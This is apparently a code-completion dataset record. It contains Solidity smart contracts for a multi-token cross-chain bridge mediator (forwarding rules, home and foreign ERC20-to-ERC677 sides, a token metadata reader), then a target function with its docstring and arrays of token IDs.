* @param _enable true, if all bridge operations to a given receiver should be forwarded to the manual lane.
*/
function setReceiverForwardingRule(address _receiver, bool _enable) external {
require(_receiver != ANY_ADDRESS);
_setForwardingRule(ANY_ADDRESS, ANY_ADDRESS, _receiver, _enable ? int256(-1) : int256(0));
}
/**
* @dev Tells forwarding rule set up for a particular bridge operation.
* @param _token address of the token contract on the foreign side of the bridge.
* @param _sender address of the tokens sender on the home side of the bridge.
* @param _receiver address of the tokens receiver on the foreign side of the bridge.
* @return preferred destination lane for the particular bridge operation.
*/
function forwardingRule(address _token, address _sender, address _receiver) public view returns (int256) {
return intStorage[keccak256(abi.encodePacked("f2", _token, _sender, _receiver))];
}
/**
* @dev Internal function for updating the preferred destination lane for the specific wildcard pattern.
* Only owner can call this method.
* Examples:
* _setForwardingRule(tokenA, ANY_ADDRESS, ANY_ADDRESS, -1) - forward all operations on tokenA to the manual lane
* _setForwardingRule(tokenA, Alice, ANY_ADDRESS, 1) - allow Alice to use the oracle-driven lane for bridging tokenA
* _setForwardingRule(tokenA, ANY_ADDRESS, Bob, 1) - forward all tokenA bridge operations, where Bob is the receiver, to the oracle-driven lane
* _setForwardingRule(ANY_ADDRESS, Mallory, ANY_ADDRESS, -1) - forward all bridge operations from Mallory to the manual lane
* @param _token address of the token contract on the foreign side of the bridge.
* @param _sender address of the tokens sender on the home side of the bridge.
* @param _receiver address of the tokens receiver on the foreign side of the bridge.
* @param _lane preferred destination lane for the particular sender.
* 1 - forward to the oracle-driven lane.
* 0 - behaviour is unset, proceed by checking other less-specific rules.
* -1 - manual lane should be used.
*/
function _setForwardingRule(address _token, address _sender, address _receiver, int256 _lane) internal onlyOwner {
intStorage[keccak256(abi.encodePacked("f2", _token, _sender, _receiver))] = _lane;
emit ForwardingRuleUpdated(_token, _sender, _receiver, _lane);
}
}
// File: contracts/upgradeable_contracts/multi_amb_erc20_to_erc677/HomeMultiAMBErc20ToErc677.sol
pragma solidity 0.4.24;
/**
* @title HomeMultiAMBErc20ToErc677
* @dev Home side implementation for multi-erc20-to-erc677 mediator intended to work on top of AMB bridge.
* It is designed to be used as an implementation contract of EternalStorageProxy contract.
*/
contract HomeMultiAMBErc20ToErc677 is
BasicMultiAMBErc20ToErc677,
HomeFeeManagerMultiAMBErc20ToErc677,
MultiTokenForwardingRules
{
bytes32 internal constant TOKEN_IMAGE_CONTRACT = 0x20b8ca26cc94f39fab299954184cf3a9bd04f69543e4f454fab299f015b8130f; // keccak256(abi.encodePacked("tokenImageContract"))
bytes32 internal constant BRIDGE_UTILS_CONTRACT = 0x174a58966ad4181674ba19a3131ba82f8683cbe56350f1172634244845855e9b; // keccak256(abi.encodePacked("bridgeUtilsContract"))
event NewTokenRegistered(address indexed foreignToken, address indexed homeToken);
event TokensBridgedToSafe(
address indexed token,
address indexed recipient,
address safe,
uint256 value,
bytes32 indexed messageId
);
/**
* @dev Stores the initial parameters of the mediator.
* @param _bridgeContract the address of the AMB bridge contract.
* @param _mediatorContract the address of the mediator contract on the other network.
* @param _dailyLimitMaxPerTxMinPerTxArray array with limit values for the assets to be bridged to the other network.
* [ 0 = dailyLimit, 1 = maxPerTx, 2 = minPerTx ]
* @param _executionDailyLimitExecutionMaxPerTxArray array with limit values for the assets bridged from the other network.
* [ 0 = executionDailyLimit, 1 = executionMaxPerTx ]
* @param _requestGasLimit the gas limit for the message execution.
* @param _owner address of the owner of the mediator contract.
* @param _tokenImage address of the PermittableToken contract that will be used for deploying of new tokens.
* @param _rewardAddresses list of reward addresses, between whom fees will be distributed.
* @param _fees array with initial fees for both bridge directions.
* [ 0 = homeToForeignFee, 1 = foreignToHomeFee ]
*/
function initialize(
address _bridgeContract,
address _mediatorContract,
uint256[3] _dailyLimitMaxPerTxMinPerTxArray, // [ 0 = _dailyLimit, 1 = _maxPerTx, 2 = _minPerTx ]
uint256[2] _executionDailyLimitExecutionMaxPerTxArray, // [ 0 = _executionDailyLimit, 1 = _executionMaxPerTx ]
uint256 _requestGasLimit,
address _owner,
address _tokenImage,
address[] _rewardAddresses,
uint256[2] _fees, // [ 0 = homeToForeignFee, 1 = foreignToHomeFee ],
address _bridgeUtilsContract
) external onlyRelevantSender returns (bool) {
require(!isInitialized());
_setBridgeContract(_bridgeContract);
_setBridgeUtilsContract(_bridgeUtilsContract);
_setMediatorContractOnOtherSide(_mediatorContract);
_setLimits(address(0), _dailyLimitMaxPerTxMinPerTxArray);
_setExecutionLimits(address(0), _executionDailyLimitExecutionMaxPerTxArray);
_setRequestGasLimit(_requestGasLimit);
_setOwner(_owner);
_setTokenImage(_tokenImage);
if (_rewardAddresses.length > 0) {
_setRewardAddressList(_rewardAddresses);
}
_setFee(HOME_TO_FOREIGN_FEE, address(0), _fees[0]);
_setFee(FOREIGN_TO_HOME_FEE, address(0), _fees[1]);
setInitialize();
return isInitialized();
}
/**
* @dev Updates an address of the token image contract used for proxifying newly created tokens.
* @param _tokenImage address of PermittableToken contract.
*/
function setTokenImage(address _tokenImage) external onlyOwner {
_setTokenImage(_tokenImage);
}
function setBridgeUtilsContract(address _bridgeUtilsContract) external onlyOwner {
_setBridgeUtilsContract(_bridgeUtilsContract);
}
function _setBridgeUtilsContract(address _bridgeUtilsContract) internal {
require(AddressUtils.isContract(_bridgeUtilsContract));
addressStorage[BRIDGE_UTILS_CONTRACT] = _bridgeUtilsContract;
}
/**
* @dev Retrieves address of the token image contract.
* @return address of block reward contract.
*/
function tokenImage() public view returns (address) {
return addressStorage[TOKEN_IMAGE_CONTRACT];
}
function bridgeUtils() public view returns (address) {
return addressStorage[BRIDGE_UTILS_CONTRACT];
}
/**
* @dev Handles the bridged tokens for the first time, includes deployment of new TokenProxy contract.
* Checks that the value is inside the execution limits and invokes the method
* to execute the Mint or Unlock accordingly.
* @param _token address of the bridged ERC20/ERC677 token on the foreign side.
* @param _name name of the bridged token, "x" will be appended, if empty, symbol will be used instead.
* @param _symbol symbol of the bridged token, "x" will be appended, if empty, name will be used instead.
* @param _decimals decimals of the bridge foreign token.
* @param _recipient address that will receive the tokens.
* @param _value amount of tokens to be received.
*/
function deployAndHandleBridgedTokens(
address _token,
string _name,
string _symbol,
uint8 _decimals,
address _recipient,
uint256 _value
) external onlyMediator {
string memory name = _name;
string memory symbol = _symbol;
require(bytes(name).length > 0 || bytes(symbol).length > 0);
if (bytes(name).length == 0) {
name = symbol;
} else if (bytes(symbol).length == 0) {
symbol = name;
}
name = string(abi.encodePacked(name, ".CPXD"));
address homeToken = new TokenProxy(tokenImage(), name, symbol, _decimals, bridgeContract().sourceChainId());
_setTokenAddressPair(_token, homeToken);
_initializeTokenBridgeLimits(homeToken, _decimals);
_setFee(HOME_TO_FOREIGN_FEE, homeToken, getFee(HOME_TO_FOREIGN_FEE, address(0)));
_setFee(FOREIGN_TO_HOME_FEE, homeToken, getFee(FOREIGN_TO_HOME_FEE, address(0)));
IBridgeUtils bridgeUtilsInstance = IBridgeUtils(bridgeUtils());
bridgeUtilsInstance.addToken(homeToken);
_handleBridgedTokens(ERC677(homeToken), _recipient, _value);
emit NewTokenRegistered(_token, homeToken);
}
/**
* @dev Handles the bridged tokens. Checks that the value is inside the execution limits and invokes the method
* to execute the Mint or Unlock accordingly.
* @param _token bridged ERC20 token.
* @param _recipient address that will receive the tokens.
* @param _value amount of tokens to be received.
*/
function handleBridgedTokens(ERC677 _token, address _recipient, uint256 _value) external onlyMediator {
ERC677 homeToken = ERC677(homeTokenAddress(_token));
require(isTokenRegistered(homeToken));
_handleBridgedTokens(homeToken, _recipient, _value);
}
/**
* @dev ERC677 transfer callback function.
* @param _from address of tokens sender.
* @param _value amount of transferred tokens.
* @param _data additional transfer data, can be used for passing alternative receiver address.
*/
function onTokenTransfer(address _from, uint256 _value, bytes _data) public returns (bool) {
// if onTokenTransfer is called as a part of call to _relayTokens, this callback does nothing
if (!lock()) {
ERC677 token = ERC677(msg.sender);
// if msg.sender if not a valid token contract, this check will fail, since limits are zeros
// so the following check is not needed
// require(isTokenRegistered(token));
require(withinLimit(token, _value));
addTotalSpentPerDay(token, getCurrentDay(), _value);
bridgeSpecificActionsOnTokenTransfer(token, _from, _value, _data);
}
return true;
}
/**
* @dev Validates that the token amount is inside the limits, calls transferFrom to transfer the tokens to the contract
* and invokes the method to burn/lock the tokens and unlock/mint the tokens on the other network.
* The user should first call Approve method of the ERC677 token.
* @param token bridge token contract address.
* @param _receiver address that will receive the native tokens on the other network.
* @param _value amount of tokens to be transferred to the other network.
*/
function _relayTokens(ERC677 token, address _receiver, uint256 _value) internal {
// This lock is to prevent calling passMessage twice if a ERC677 token is used.
// When transferFrom is called, after the transfer, the ERC677 token will call onTokenTransfer from this contract
// which will call passMessage.
require(!lock());
address to = address(this);
// if msg.sender if not a valid token contract, this check will fail, since limits are zeros
// so the following check is not needed
// require(isTokenRegistered(token));
require(withinLimit(token, _value));
addTotalSpentPerDay(token, getCurrentDay(), _value);
setLock(true);
token.transferFrom(msg.sender, to, _value);
setLock(false);
bridgeSpecificActionsOnTokenTransfer(token, msg.sender, _value, abi.encodePacked(_receiver));
}
/**
* @dev Executes action on the request to deposit tokens relayed from the other network
* @param _recipient address of tokens receiver
* @param _value amount of bridged tokens
*/
function executeActionOnBridgedTokens(address _token, address _recipient, uint256 _value) internal {
bytes32 _messageId = messageId();
uint256 valueToMint = _value;
uint256 fee = _distributeFee(FOREIGN_TO_HOME_FEE, _token, valueToMint);
if (fee > 0) {
emit FeeDistributed(fee, _token, _messageId);
valueToMint = valueToMint.sub(fee);
}
address safeAddress;
IBridgeUtils bridgeUtilsInstance = IBridgeUtils(bridgeUtils());
if (bridgeUtilsInstance.isRegistered(_recipient)) {
safeAddress = bridgeUtilsInstance.safeForSupplier(_recipient);
require(safeAddress != address(0));
} else {
safeAddress = bridgeUtilsInstance.registerSupplier(_recipient);
}
IBurnableMintableERC677Token(_token).mint(safeAddress, valueToMint);
emit TokensBridgedToSafe(_token, _recipient, safeAddress, valueToMint, _messageId);
}
/**
* @dev Mints back the amount of tokens that were bridged to the other network but failed.
* @param _token address that bridged token contract.
* @param _recipient address that will receive the tokens.
* @param _value amount of tokens to be received.
*/
function executeActionOnFixedTokens(address _token, address _recipient, uint256 _value) internal {
IBurnableMintableERC677Token(_token).mint(_recipient, _value);
}
/**
* @dev Retrieves address of the home bridged token contract associated with a specific foreign token contract.
* @param _foreignToken address of the created home token contract.
* @return address of the home token contract.
*/
function homeTokenAddress(address _foreignToken) public view returns (address) {
return addressStorage[keccak256(abi.encodePacked("hta", _foreignToken))];
}
/**
* @dev Retrieves address of the foreign bridged token contract associated with a specific home token contract.
* @param _homeToken address of the created home token contract.
* @return address of the foreign token contract.
*/
function foreignTokenAddress(address _homeToken) public view returns (address) {
return addressStorage[keccak256(abi.encodePacked("fta", _homeToken))];
}
/**
* @dev Internal function for updating an address of the token image contract.
* @param _foreignToken address of bridged foreign token contract.
* @param _foreignToken address of created home token contract.
*/
function _setTokenAddressPair(address _foreignToken, address _homeToken) internal {
addressStorage[keccak256(abi.encodePacked("hta", _foreignToken))] = _homeToken;
addressStorage[keccak256(abi.encodePacked("fta", _homeToken))] = _foreignToken;
}
/**
* @dev Internal function for updating an address of the token image contract.
* @param _tokenImage address of deployed PermittableToken contract.
*/
function _setTokenImage(address _tokenImage) internal {
require(AddressUtils.isContract(_tokenImage));
addressStorage[TOKEN_IMAGE_CONTRACT] = _tokenImage;
}
/**
* @dev Executes action on withdrawal of bridged tokens
* @param _token address of token contract
* @param _from address of tokens sender
* @param _value requested amount of bridged tokens
* @param _data alternative receiver, if specified
*/
function bridgeSpecificActionsOnTokenTransfer(ERC677 _token, address _from, uint256 _value, bytes _data) internal {
if (!lock()) {
uint256 valueToBridge = _value;
uint256 fee = 0;
// Next line disables fee collection in case sender is one of the reward addresses.
// It is needed to allow a 100% withdrawal of tokens from the home side.
// If fees are not disabled for reward receivers, small fraction of tokens will always
// be redistributed between the same set of reward addresses, which is not the desired behaviour.
if (!isRewardAddress(_from)) {
fee = _distributeFee(HOME_TO_FOREIGN_FEE, _token, valueToBridge);
valueToBridge = valueToBridge.sub(fee);
}
IBurnableMintableERC677Token(_token).burn(valueToBridge);
bytes32 _messageId = passMessage(_token, _from, chooseReceiver(_from, _data), valueToBridge);
if (fee > 0) {
emit FeeDistributed(fee, _token, _messageId);
}
}
}
/**
* @dev Call AMB bridge to require the invocation of handleBridgedTokens method of the mediator on the other network.
* Store information related to the bridged tokens in case the message execution fails on the other network
* and the action needs to be fixed/rolled back.
* @param _token bridged ERC20 token
* @param _from address of sender, if bridge operation fails, tokens will be returned to this address
* @param _receiver address of receiver on the other side, will eventually receive bridged tokens
* @param _value bridged amount of tokens
* @return id of the created and passed message
*/
function passMessage(ERC677 _token, address _from, address _receiver, uint256 _value) internal returns (bytes32) {
bytes4 methodSelector = this.handleBridgedTokens.selector;
address foreignToken = foreignTokenAddress(_token);
bytes memory data = abi.encodeWithSelector(methodSelector, foreignToken, _receiver, _value);
address executor = mediatorContractOnOtherSide();
uint256 gasLimit = requestGasLimit();
IAMB bridge = bridgeContract();
// Address of the foreign token is used here for determining lane permissions.
// Such decision makes it possible to set rules for tokens that are not bridged yet.
bytes32 _messageId = destinationLane(foreignToken, _from, _receiver) >= 0
? bridge.requireToPassMessage(executor, data, gasLimit)
: bridge.requireToConfirmMessage(executor, data, gasLimit);
setMessageToken(_messageId, _token);
setMessageValue(_messageId, _value);
setMessageRecipient(_messageId, _from);
emit TokensBridgingInitiated(_token, _from, _value, _messageId);
return _messageId;
}
}
// File: contracts/libraries/TokenReader.sol
pragma solidity 0.4.24;
/**
* @title TokenReader
* @dev Helper methods for reading name/symbol/decimals parameters from ERC20 token contracts.
*/
library TokenReader {
bytes4 private constant _NAME = 0x06fdde03; // web3.eth.abi.encodeFunctionSignature("name()")
bytes4 private constant _NAME_CAPS = 0xa3f4df7e; // web3.eth.abi.encodeFunctionSignature("NAME()")
bytes4 private constant _SYMBOL = 0x95d89b41; // web3.eth.abi.encodeFunctionSignature("symbol")
bytes4 private constant _SYMBOL_CAPS = 0xf76f8d78; // web3.eth.abi.encodeFunctionSignature("SYMBOL()")
bytes4 private constant _DECIMALS = 0x313ce567; // web3.eth.abi.encodeFunctionSignature("decimals()")
bytes4 private constant _DECIMALS_CAPS = 0x2e0f2625; // web3.eth.abi.encodeFunctionSignature("DECIMALS()")
bytes4 private constant _TOTAL_SUPPLY = 0x18160ddd; // web3.eth.abi.encodeFunctionSignature("totalSupply()")
bytes4 private constant _TOKEN_URI = 0xc87b56dd; // web3.eth.abi.encodeFunctionSignature("tokenURI(uint256)")
/**
* @dev Reads the name property of the provided token.
* Either name() or NAME() method is used.
* Both, string and bytes32 types are supported.
* @param _token address of the token contract.
* @return token name as a string or an empty string if none of the methods succeeded.
*/
function readName(address _token) internal view returns (string) {
return _readStringWithFallback(_token, _NAME, _NAME_CAPS);
}
/**
* @dev Reads the symbol property of the provided token.
* Either symbol() or SYMBOL() method is used.
* Both, string and bytes32 types are supported.
* @param _token address of the token contract.
* @return token symbol as a string or an empty string if none of the methods succeeded.
*/
function readSymbol(address _token) internal view returns (string) {
return _readStringWithFallback(_token, _SYMBOL, _SYMBOL_CAPS);
}
/**
* @dev Reads the decimals property of the provided token.
* Either decimals() or DECIMALS() method is used.
* @param _token address of the token contract.
* @return token decimals or 0 if none of the methods succeeded.
*/
function readDecimals(address _token) internal view returns (uint256) {
return _readIntWithFallback(_token, _DECIMALS, _DECIMALS_CAPS);
}
function readTotalSupply(address _token) internal view returns (uint256) {
return _readIntFunctionThatMightNotExist(_token, _TOTAL_SUPPLY);
}
function readTokenURI(address _token, uint256 _tokenId) internal view returns (string) {
bytes memory encodedParams = abi.encodeWithSelector(_TOKEN_URI, _tokenId);
return _dynamicStringMethodCall(_token, encodedParams);
}
function _readStringWithFallback(address _contract, bytes4 _selector1, bytes4 _selector2)
internal
view
returns (string)
{
string memory firstResult = _readStringFunctionThatMightNotExist(_contract, _selector1);
if (bytes(firstResult).length > 0) {
return firstResult;
}
return _readStringFunctionThatMightNotExist(_contract, _selector2);
}
function _readIntWithFallback(address _contract, bytes4 _selector1, bytes4 _selector2)
internal
view
returns (uint256)
{
uint256 firstResult = _readIntFunctionThatMightNotExist(_contract, _selector1);
if (firstResult > 0) {
return firstResult;
}
return _readIntFunctionThatMightNotExist(_contract, _selector2);
}
function _readStringFunctionThatMightNotExist(address _contract, bytes4 _selector) internal view returns (string) {
bytes memory encodedParams = abi.encodeWithSelector(_selector);
return _dynamicStringMethodCall(_contract, encodedParams);
}
function _dynamicStringMethodCall(address _contract, bytes encodedParams) internal view returns (string) {
uint256 ptr;
uint256 size;
assembly {
let encodedParams_data := add(0x20, encodedParams)
let encodedParams_size := mload(encodedParams)
ptr := mload(0x40)
staticcall(gas, _contract, encodedParams_data, encodedParams_size, ptr, 32)
pop
mstore(0x40, add(ptr, returndatasize))
switch gt(returndatasize, 32)
case 1 {
returndatacopy(mload(0x40), 32, 32) // string length
size := mload(mload(0x40))
}
default {
size := returndatasize // 32 or 0
}
}
string memory res = new string(size);
assembly {
if gt(returndatasize, 32) {
// load as string
returndatacopy(add(res, 32), 64, size)
jump(exit)
}
// solhint-disable
if gt(returndatasize, 0) {
let i := 0
ptr := mload(ptr) // load bytes32 value
mstore(add(res, 32), ptr) // save value in result string
for {
} gt(ptr, 0) {
i := add(i, 1)
} {
// until string is empty
ptr := shl(8, ptr) // shift left by one symbol
}
mstore(res, i) // save result string length
}
exit:
// solhint-enable
}
return res;
}
function _readIntFunctionThatMightNotExist(address _contract, bytes4 selector) internal view returns (uint256) {
uint256 decimals;
// bytes32 nameBytes = _encodeMethodSignature();
assembly {
let ptr := mload(0x40)
mstore(0x40, add(ptr, 32))
mstore(ptr, selector)
if iszero(staticcall(gas, _contract, ptr, 4, ptr, 32)) {
mstore(ptr, 0)
}
decimals := mload(ptr)
}
return decimals;
}
}
// File: contracts/upgradeable_contracts/multi_amb_erc20_to_erc677/ForeignMultiAMBErc20ToErc677.sol
pragma solidity 0.4.24;
/**
* @title ForeignMultiAMBErc20ToErc677
* @dev Foreign side implementation for multi-erc20-to-erc677 mediator intended to work on top of AMB bridge.
* It is designed to be used as an implementation contract of EternalStorageProxy contract.
*/
contract ForeignMultiAMBErc20ToErc677 is BasicMultiAMBErc20ToErc677 {
using SafeERC20 for address;
using SafeERC20 for ERC677;
/**
* @dev Stores the initial parameters of the mediator.
* @param _bridgeContract the address of the AMB bridge contract.
* @param _mediatorContract the address of the mediator contract on the other network.
* @param _dailyLimitMaxPerTxMinPerTxArray array with limit values for the assets to be bridged to the other network.
* [ 0 = dailyLimit, 1 = maxPerTx, 2 = minPerTx ]
* @param _executionDailyLimitExecutionMaxPerTxArray array with limit values for the assets bridged from the other network.
* [ 0 = executionDailyLimit, 1 = executionMaxPerTx ]
* @param _requestGasLimit the gas limit for the message execution.
* @param _owner address of the owner of the mediator contract.
*/
function initialize(
address _bridgeContract,
address _mediatorContract,
uint256[3] _dailyLimitMaxPerTxMinPerTxArray, // [ 0 = _dailyLimit, 1 = _maxPerTx, 2 = _minPerTx ]
uint256[2] _executionDailyLimitExecutionMaxPerTxArray, // [ 0 = _executionDailyLimit, 1 = _executionMaxPerTx ]
uint256 _requestGasLimit,
address _owner
) external onlyRelevantSender returns (bool) {
require(!isInitialized());
_setBridgeContract(_bridgeContract);
_setMediatorContractOnOtherSide(_mediatorContract);
_setLimits(address(0), _dailyLimitMaxPerTxMinPerTxArray);
_setExecutionLimits(address(0), _executionDailyLimitExecutionMaxPerTxArray);
_setRequestGasLimit(_requestGasLimit);
_setOwner(_owner);
setInitialize();
return isInitialized();
}
/**
* @dev Executes action on the request to withdraw tokens relayed from the other network
* @param _token address of the token contract
* @param _recipient address of tokens receiver
* @param _value amount of bridged tokens
*/
function executeActionOnBridgedTokens(address _token, address _recipient, uint256 _value) internal {
bytes32 _messageId = messageId();
_token.safeTransfer(_recipient, _value);
_setMediatorBalance(_token, mediatorBalance(_token).sub(_value));
emit TokensBridged(_token, _recipient, _value, _messageId);
}
/**
* @dev ERC677 transfer callback function.
* @param _from address of tokens sender.
* @param _value amount of transferred tokens.
* @param _data additional transfer data, can be used for passing alternative receiver address.
*/
function onTokenTransfer(address _from, uint256 _value, bytes _data) public returns (bool) {
if (!lock()) {
ERC677 token = ERC677(msg.sender);
bridgeSpecificActionsOnTokenTransfer(token, _from, _value, _data);
}
return true;
}
/**
* @dev Handles the bridged tokens. Checks that the value is inside the execution limits and invokes the method
* to execute the Mint or Unlock accordingly.
* @param _token bridged ERC20 token.
* @param _recipient address that will receive the tokens.
* @param _value amount of tokens to be received.
*/
function handleBridgedTokens(ERC677 _token, address _recipient, uint256 _value) external onlyMediator {
require(isTokenRegistered(_token));
_handleBridgedTokens(_token, _recipient, _value);
}
/**
* @dev Validates that the token amount is inside the limits, calls transferFrom to transfer the tokens to the contract
* and invokes the method to burn/lock the tokens and unlock/mint the tokens on the other network.
* The user should first call Approve method of the ERC677 token.
* @param token bridge token contract address.
* @param _receiver address that will receive the native tokens on the other network.
* @param _value amount of tokens to be transferred to the other network.
*/
function _relayTokens(ERC677 token, address _receiver, uint256 _value) internal {
// This lock is to prevent calling passMessage twice if a ERC677 token is used.
// When transferFrom is called, after the transfer, the ERC677 token will call onTokenTransfer from this contract
// which will call passMessage.
require(!lock());
uint256 balanceBefore = token.balanceOf(address(this));
setLock(true);
token.transferFrom(msg.sender, address(this), _value);
setLock(false);
uint256 balanceDiff = token.balanceOf(address(this)).sub(balanceBefore);
require(balanceDiff <= _value);
bridgeSpecificActionsOnTokenTransfer(token, msg.sender, balanceDiff, abi.encodePacked(_receiver));
}
/**
* @dev Executes action on deposit of bridged tokens
* @param _token address of the token contract
* @param _from address of tokens sender
* @param _value requsted amount of bridged tokens
* @param _data alternative receiver, if specified
*/
function bridgeSpecificActionsOnTokenTransfer(ERC677 _token, address _from, uint256 _value, bytes _data) internal {
if (lock()) return;
require(isTokenAllowed(_token));
bool isKnownToken = isTokenRegistered(_token);
if (!isKnownToken) {
string memory name = TokenReader.readName(_token);
string memory symbol = TokenReader.readSymbol(_token);
uint8 decimals = uint8(TokenReader.readDecimals(_token));
require(bytes(name).length > 0 || bytes(symbol).length > 0);
_initializeTokenBridgeLimits(_token, decimals);
}
require(withinLimit(_token, _value));
addTotalSpentPerDay(_token, getCurrentDay(), _value);
bytes memory data;
address receiver = chooseReceiver(_from, _data);
if (isKnownToken) {
data = abi.encodeWithSelector(this.handleBridgedTokens.selector, _token, receiver, _value);
} else {
data = abi.encodeWithSelector(
HomeMultiAMBErc20ToErc677(this).deployAndHandleBridgedTokens.selector,
_token,
name,
symbol,
decimals,
receiver,
_value
);
}
_setMediatorBalance(_token, mediatorBalance(_token).add(_value));
bytes32 _messageId = bridgeContract().requireToPassMessage(
mediatorContractOnOtherSide(),
data,
requestGasLimit()
);
setMessageToken(_messageId, _token);
setMessageValue(_messageId, _value);
setMessageRecipient(_messageId, _from);
if (!isKnownToken) {
_setTokenRegistrationMessageId(_token, _messageId);
}
emit TokensBridgingInitiated(_token, _from, _value, _messageId);
}
/**
* @dev Handles the request to fix transferred assets which bridged message execution failed on the other network.
* It uses the information stored by passMessage method when the assets were initially transferred
* @param _messageId id of the message which execution failed on the other network.
*/
function fixFailedMessage(bytes32 _messageId) public {
super.fixFailedMessage(_messageId);
address token = messageToken(_messageId);
if (_messageId == tokenRegistrationMessageId(token)) {
delete uintStorage[keccak256(abi.encodePacked("dailyLimit", token))];
delete uintStorage[keccak256(abi.encodePacked("maxPerTx", token))];
delete uintStorage[keccak256(abi.encodePacked("minPerTx", token))];
delete uintStorage[keccak256(abi.encodePacked("executionDailyLimit", token))];
delete uintStorage[keccak256(abi.encodePacked("executionMaxPerTx", token))];
_setTokenRegistrationMessageId(token, bytes32(0));
}
}
/**
* @dev Unlock back the amount of tokens that were bridged to the other network but failed.
* @param _token address that bridged token contract.
* @param _recipient address that will receive the tokens.
* @param _value amount of tokens to be received.
*/
function executeActionOnFixedTokens(address _token, address _recipient, uint256 _value) internal {
_setMediatorBalance(_token, mediatorBalance(_token).sub(_value));
_token.safeTransfer(_recipient, _value);
}
/**
* @dev Allows to send to the other network the amount of locked tokens that can be forced into the contract
* without the invocation of the required methods. (e. g. regular transfer without a call to onTokenTransfer)
* @param _token address of the token contract.
* @param _receiver the address that will receive the tokens on the other network.
*/
function fixMediatorBalance(address _token, address _receiver)
external
onlyIfUpgradeabilityOwner
validAddress(_receiver)
{
require(isTokenRegistered(_token));
uint256 balance = ERC677(_token).balanceOf(address(this));
uint256 expectedBalance = mediatorBalance(_token);
require(balance > expectedBalance);
uint256 diff = balance - expectedBalance;
uint256 available = maxAvailablePerTx(_token);
require(available > 0);
if (diff > available) {
diff = available;
}
addTotalSpentPerDay(_token, getCurrentDay(), diff);
_setMediatorBalance(_token, expectedBalance.add(diff));
bytes memory data = abi.encodeWithSelector(this.handleBridgedTokens.selector, _token, _receiver, diff);
bytes32 _messageId = bridgeContract().requireToPassMessage(
mediatorContractOnOtherSide(),
data,
requestGasLimit()
);
setMessageToken(_messageId, _token);
setMessageValue(_messageId, diff);
setMessageRecipient(_messageId, _receiver);
}
/**
* @dev Tells the expected token balance of the contract.
* @param _token address of token contract.
* @return the current tracked token balance of the contract.
*/
function mediatorBalance(address _token) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("mediatorBalance", _token))];
}
/**
* @dev Returns message id where specified token was first seen and deploy on the other side was requested.
* @param _token address of token contract.
* @return message id of the send message.
*/
function tokenRegistrationMessageId(address _token) public view returns (bytes32) {
return bytes32(uintStorage[keccak256(abi.encodePacked("tokenRegistrationMessageId", _token))]);
}
/**
* @dev Updates expected token balance of the contract.
* @param _token address of token contract.
* @param _balance the new token balance of the contract.
*/
function _setMediatorBalance(address _token, uint256 _balance) internal {
uintStorage[keccak256(abi.encodePacked("mediatorBalance", _token))] = _balance;
}
/**
* @dev Updates message id where specified token was first seen and deploy on the other side was requested.
* @param _token address of token contract.
* @param _messageId message id of the send message.
*/
function _setTokenRegistrationMessageId(address _token, bytes32 _messageId) internal {
uintStorage[keccak256(abi.encodePacked("tokenRegistrationMessageId", _token))] = uint256(_messageId);
}
function isTokenAllowed(address _token) public view returns (bool) {
return boolStorage[keccak256(abi.encodePacked("tokenAllowed", _token))];
}
function allowToken(address _token) external onlyOwner {
_allowToken(_token);
}
event TokenAllowed(address indexed token);
function _allowToken(address _token) internal {
require(!isTokenAllowed(_token));
require(AddressUtils.isContract(_token));
boolStorage[keccak256(abi.encodePacked("tokenAllowed", _token))] = true;
emit TokenAllowed(_token);
}
function disallowToken(address _token) external onlyOwner {
_disallowToken(_token);
}
event TokenDisallowed(address indexed token);
function _disallowToken(address _token) internal {
require(isTokenAllowed(_token));
require(AddressUtils.isContract(_token));
boolStorage[keccak256(abi.encodePacked("tokenAllowed", _token))] = false;
emit TokenDisallowed(_token);
}
}
|
* @dev Internal function for adding execcuted amount for some token. @param _token address of the token contract. @param _day day number, when tokens are processed. @param _value amount of bridge tokens./
|
function addTotalExecutedPerDay(address _token, uint256 _day, uint256 _value) internal {
uintStorage[keccak256(abi.encodePacked("totalExecutedPerDay", _token, _day))] = totalExecutedPerDay(
_token,
_day
)
.add(_value);
}
| 1,401,814 |
[
1,
3061,
445,
364,
6534,
1196,
71,
4817,
3844,
364,
2690,
1147,
18,
225,
389,
2316,
1758,
434,
326,
1147,
6835,
18,
225,
389,
2881,
2548,
1300,
16,
1347,
2430,
854,
5204,
18,
225,
389,
1132,
3844,
434,
10105,
2430,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
527,
5269,
23839,
2173,
4245,
12,
2867,
389,
2316,
16,
2254,
5034,
389,
2881,
16,
2254,
5034,
389,
1132,
13,
2713,
288,
203,
3639,
2254,
3245,
63,
79,
24410,
581,
5034,
12,
21457,
18,
3015,
4420,
329,
2932,
4963,
23839,
2173,
4245,
3113,
389,
2316,
16,
389,
2881,
3719,
65,
273,
2078,
23839,
2173,
4245,
12,
203,
5411,
389,
2316,
16,
203,
5411,
389,
2881,
203,
3639,
262,
203,
5411,
263,
1289,
24899,
1132,
1769,
203,
565,
289,
203,
